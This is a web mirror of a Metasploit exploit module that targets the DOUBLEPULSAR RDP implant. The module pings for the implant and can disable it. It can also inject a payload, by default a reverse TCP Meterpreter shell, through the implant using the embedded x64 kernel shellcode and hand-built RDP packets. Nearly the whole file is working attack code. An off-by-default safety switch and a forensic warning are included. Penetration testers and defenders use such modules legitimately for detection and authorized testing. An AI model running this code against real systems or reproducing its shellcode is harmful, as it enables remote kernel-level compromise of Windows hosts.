Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/rdp/rdp_doublepulsar_rce.rb
33236 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
include Msf::Exploit::Remote::RDP
11
12
MAX_SHELLCODE_SIZE = 4096
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'RDP DOUBLEPULSAR Remote Code Execution',
19
'Description' => %q{
20
This module executes a Metasploit payload against the Equation Group's
21
DOUBLEPULSAR implant for RDP.
22
23
While this module primarily performs code execution against the implant,
24
the "Neutralize implant" target allows you to disable the implant.
25
},
26
'Author' => [
27
'Equation Group', # DOUBLEPULSAR implant
28
'Shadow Brokers', # Equation Group dump
29
'Luke Jennings', # DOPU analysis and detection
30
'wvu', # RDP DOPU analysis and module
31
'Tom Sellers', # RDP DOPU analysis
32
'Spencer McIntyre' # RDP DOPU analysis
33
],
34
'References' => [
35
['URL', 'https://github.com/countercept/doublepulsar-detection-script'],
36
['ATT&CK', Mitre::Attack::Technique::T1021_001_REMOTE_DESKTOP_PROTOCOL]
37
],
38
'DisclosureDate' => '2017-04-14', # Shadow Brokers leak
39
'License' => MSF_LICENSE,
40
'Platform' => 'win',
41
'Arch' => ARCH_X64,
42
'Privileged' => true,
43
'Payload' => {
44
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
45
'DisableNops' => true
46
},
47
'Targets' => [
48
[
49
'Execute payload (x64)',
50
'DefaultOptions' => {
51
'EXITFUNC' => 'thread',
52
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
53
}
54
],
55
[
56
'Neutralize implant',
57
'DefaultOptions' => {
58
'PAYLOAD' => nil # XXX: "Unset" generic payload
59
}
60
]
61
],
62
'DefaultTarget' => 0,
63
'Notes' => {
64
'AKA' => ['DOUBLEPULSAR'],
65
'RelatedModules' => ['exploit/windows/smb/smb_doublepulsar_rce'],
66
'Stability' => [CRASH_OS_DOWN],
67
'Reliability' => [REPEATABLE_SESSION],
68
'SideEffects' => []
69
}
70
)
71
)
72
73
register_advanced_options([
74
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
75
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
76
])
77
end
78
79
OPCODES = {
80
exec: 0x01,
81
ping: 0x02,
82
burn: 0x03
83
}.freeze
84
85
DOUBLEPULSAR_MAGIC = 0x19283744
86
87
# https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw
88
def parse_doublepulsar_ping(res)
89
return unless res && res.length == 288
90
91
magic, _size, major, minor, build = res.unpack('V5')
92
sp_major, _sp_minor, _suites, prod, arch = res[-8..-1].unpack('v3C2')
93
94
return unless magic == DOUBLEPULSAR_MAGIC
95
96
ver_str = "#{major}.#{minor}.#{build}"
97
sp_str = "SP#{sp_major}"
98
99
prod_str =
100
case prod
101
when 1
102
'Workstation'
103
when 2
104
'Domain Controller'
105
when 3
106
'Server'
107
end
108
109
arch_str =
110
case arch
111
when 1
112
'x86'
113
when 2
114
'x64'
115
end
116
117
"Windows #{prod_str} #{ver_str} #{sp_str} #{arch_str}"
118
end
119
120
def setup
121
super
122
123
rdp_connect
124
is_rdp, server_selected_protocol = rdp_check_protocol
125
126
fail_with(Failure::BadConfig, 'Target port is not RDP') unless is_rdp
127
128
case server_selected_protocol
129
when RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX
130
fail_with(Failure::BadConfig, 'DOUBLEPULSAR does not support NLA')
131
when RDPConstants::PROTOCOL_SSL
132
vprint_status('Swapping plain socket to SSL')
133
swap_sock_plain_to_ssl
134
end
135
rescue Rex::ConnectionError, RdpCommunicationError => e
136
fail_with(Failure::Disconnected, e.message)
137
end
138
139
def cleanup
140
rdp_disconnect
141
142
super
143
end
144
145
def check
146
print_status('Sending ping to DOUBLEPULSAR')
147
res = do_rdp_doublepulsar_pkt(OPCODES[:ping])
148
149
unless (info = parse_doublepulsar_ping(res))
150
print_error('DOUBLEPULSAR not detected or disabled')
151
return CheckCode::Safe
152
end
153
154
print_warning('DOUBLEPULSAR RDP IMPLANT DETECTED!!!')
155
print_good("Target is #{info}")
156
CheckCode::Vulnerable
157
end
158
159
def exploit
160
if datastore['DefangedMode']
161
warning = <<~EOF
162
163
164
Are you SURE you want to execute code against a nation-state implant?
165
You MAY contaminate forensic evidence if there is an investigation.
166
167
Disable the DefangedMode option if you have authorization to proceed.
168
EOF
169
170
fail_with(Failure::BadConfig, warning)
171
end
172
173
# No ForceExploit because check is accurate
174
unless check == CheckCode::Vulnerable
175
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
176
end
177
178
case target.name
179
when 'Execute payload (x64)'
180
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
181
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
182
shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
183
vprint_status("Total shellcode length: #{shellcode.length} bytes")
184
185
print_status('Sending shellcode to DOUBLEPULSAR')
186
res = do_rdp_doublepulsar_pkt(OPCODES[:exec], shellcode)
187
when 'Neutralize implant'
188
return neutralize_implant
189
end
190
191
if res
192
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
193
end
194
195
print_good('Payload execution successful')
196
end
197
198
def neutralize_implant
199
print_status('Neutralizing DOUBLEPULSAR')
200
res = do_rdp_doublepulsar_pkt(OPCODES[:burn])
201
202
if res
203
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
204
end
205
206
print_good('Implant neutralization successful')
207
end
208
209
def do_rdp_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
210
rdp_send_recv(make_rdp_mcs_doublepulsar(opcode, body))
211
rescue Errno::ECONNRESET, RdpCommunicationError
212
nil
213
end
214
215
=begin
216
MULTIPOINT-COMMUNICATION-SERVICE T.125
217
DomainMCSPDU: channelJoinConfirm (15)
218
channelJoinConfirm
219
result: rt-domain-not-hierarchical (2)
220
initiator: 14120
221
requested: 6402
222
=end
223
def make_rdp_mcs_doublepulsar(opcode, body)
224
data = "\x3c" # channelJoinConfirm
225
data << [DOUBLEPULSAR_MAGIC].pack('V')
226
data << [opcode].pack('v')
227
228
if body
229
data << [body.length, body.length, 0].pack('V*')
230
data << body
231
end
232
233
build_data_tpdu(data)
234
end
235
236
# ring3 = user mode encoded payload
237
# proc_name = process to inject APC into
238
def make_kernel_user_payload(ring3, proc_name)
239
sc = make_kernel_shellcode(proc_name)
240
241
sc << [ring3.length].pack('S<')
242
sc << ring3
243
244
sc
245
end
246
247
def generate_process_hash(process)
248
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
249
proc_hash = 0
250
process << "\x00"
251
252
process.each_byte do |c|
253
proc_hash = ror(proc_hash, 13)
254
proc_hash += c
255
end
256
257
[proc_hash].pack('l<')
258
end
259
260
def ror(dword, bits)
261
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
262
end
263
264
def make_kernel_shellcode(proc_name)
265
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
266
# Length: 780 bytes
267
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \
268
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \
269
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \
270
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \
271
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \
272
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \
273
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \
274
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \
275
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \
276
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \
277
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \
278
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \
279
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
280
generate_process_hash(proc_name.upcase) +
281
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \
282
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \
283
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \
284
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \
285
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \
286
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \
287
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \
288
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \
289
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \
290
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \
291
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \
292
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \
293
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \
294
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \
295
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \
296
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \
297
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \
298
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \
299
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \
300
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \
301
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \
302
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \
303
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
304
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \
305
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \
306
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \
307
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \
308
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \
309
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \
310
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \
311
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \
312
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \
313
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \
314
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \
315
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \
316
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
317
end
318
319
def kernel_shellcode_size
320
make_kernel_shellcode('').length
321
end
322
323
end
324
325